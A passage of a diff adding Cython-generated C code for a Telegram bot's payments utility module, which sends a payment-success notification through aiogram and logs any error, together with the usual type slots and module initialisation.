__Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L9_try_end; + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/utils.py":19 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" {user_id}: {e}") + */ + __pyx_t_12 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_12) { + __Pyx_AddTraceback("handlers.payments.utils.send_payment_success_notification", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_6, &__pyx_t_4, &__pyx_t_5) < 0) __PYX_ERR(0, 19, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_4); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_INCREF(__pyx_t_4); + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_e = __pyx_t_4; + /*try:*/ { + + /* "handlers/payments/utils.py":20 + * ) + * except Exception as e: + * logger.error(f" {user_id}: {e}") # <<<<<<<<<<<<<< + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_logger); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 20, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 20, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = PyTuple_New(4); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 20, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_10 = 0; + __pyx_t_11 = 127; + __Pyx_INCREF(__pyx_kp_u__5); + __pyx_t_11 = (65535 > __pyx_t_11) ? 65535 : __pyx_t_11; + __pyx_t_10 += 45; + __Pyx_GIVEREF(__pyx_kp_u__5); + PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_kp_u__5); + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 20, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_11 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_11) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_11; + __pyx_t_10 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_14); + __Pyx_GIVEREF(__pyx_t_14); + PyTuple_SET_ITEM(__pyx_t_8, 1, __pyx_t_14); + __pyx_t_14 = 0; + __Pyx_INCREF(__pyx_kp_u__6); + __pyx_t_10 += 2; + __Pyx_GIVEREF(__pyx_kp_u__6); + PyTuple_SET_ITEM(__pyx_t_8, 2, __pyx_kp_u__6); + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 20, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_11 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_11) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_11; + __pyx_t_10 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_14); + __Pyx_GIVEREF(__pyx_t_14); + PyTuple_SET_ITEM(__pyx_t_8, 3, __pyx_t_14); + __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyUnicode_Join(__pyx_t_8, 4, __pyx_t_10, __pyx_t_11); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 20, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_13))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_13, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_14}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 20, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + + /* "handlers/payments/utils.py":19 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" {user_id}: {e}") + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L17; + } + __pyx_L16_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19) < 0)) __Pyx_ErrFetch(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __pyx_t_12 = __pyx_lineno; __pyx_t_15 = __pyx_clineno; __pyx_t_16 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ExceptionReset(__pyx_t_20, __pyx_t_21, __pyx_t_22); + } + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_ErrRestore(__pyx_t_17, __pyx_t_18, __pyx_t_19); + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __pyx_lineno = __pyx_t_12; __pyx_clineno = __pyx_t_15; __pyx_filename = __pyx_t_16; + goto __pyx_L6_except_error; + } + __pyx_L17:; + } + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L5_exception_handled; + } + goto __pyx_L6_except_error; + + /* "handlers/payments/utils.py":9 + * + * async def send_payment_success_notification(user_id: int, amount: float): + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L1_error; + __pyx_L5_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + __pyx_L9_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/utils.py":8 + * + * + * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< + * try: + * builder = InlineKeyboardBuilder() + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("send_payment_success_notification", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *__pyx_freelist_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification[8]; +static int __pyx_freecount_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification[--__pyx_freecount_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification(PyObject *o) { + struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *p = (struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_user_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification)))) { + __pyx_freelist_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification[__pyx_freecount_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification++] = ((struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *p = (struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification_spec = { + "handlers.payments.utils.__pyx_scope_struct__send_payment_success_notification", + sizeof(struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.utils.""__pyx_scope_struct__send_payment_success_notification", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, + {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_kp_u__5, __pyx_k__5, sizeof(__pyx_k__5), 0, 1, 0, 0}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, + {&__pyx_kp_u__7, __pyx_k__7, sizeof(__pyx_k__7), 0, 1, 0, 0}, + {&__pyx_n_s__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_types, __pyx_k_aiogram_types, sizeof(__pyx_k_aiogram_types), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_n_s_bot, __pyx_k_bot, sizeof(__pyx_k_bot), 0, 0, 1, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_s_chat_id, __pyx_k_chat_id, sizeof(__pyx_k_chat_id), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, + {&__pyx_n_s_float, __pyx_k_float, sizeof(__pyx_k_float), 0, 0, 1, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_utils_py, __pyx_k_handlers_payments_utils_py, sizeof(__pyx_k_handlers_payments_utils_py), 0, 0, 1, 0}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_int, __pyx_k_int, sizeof(__pyx_k_int), 0, 0, 1, 1}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_s_logger, __pyx_k_logger, sizeof(__pyx_k_logger), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_u_profile, __pyx_k_profile, sizeof(__pyx_k_profile), 0, 1, 0, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_send_message, __pyx_k_send_message, sizeof(__pyx_k_send_message), 0, 0, 1, 1}, + {&__pyx_n_s_send_payment_success_notificatio, __pyx_k_send_payment_success_notificatio, sizeof(__pyx_k_send_payment_success_notificatio), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_user_id, __pyx_k_user_id, sizeof(__pyx_k_user_id), 0, 0, 1, 1}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + return 0; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/utils.py":8 + * + * + * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< + * try: + * builder = InlineKeyboardBuilder() + */ + __pyx_tuple__8 = PyTuple_Pack(4, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__8); + __Pyx_GIVEREF(__pyx_tuple__8); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__8, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_utils_py, __pyx_n_s_send_payment_success_notificatio, 8, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + +static int __Pyx_modinit_global_init_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification)) __PYX_ERR(0, 8, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification_spec, __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification = &__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification->tp_print = 0; + #endif + 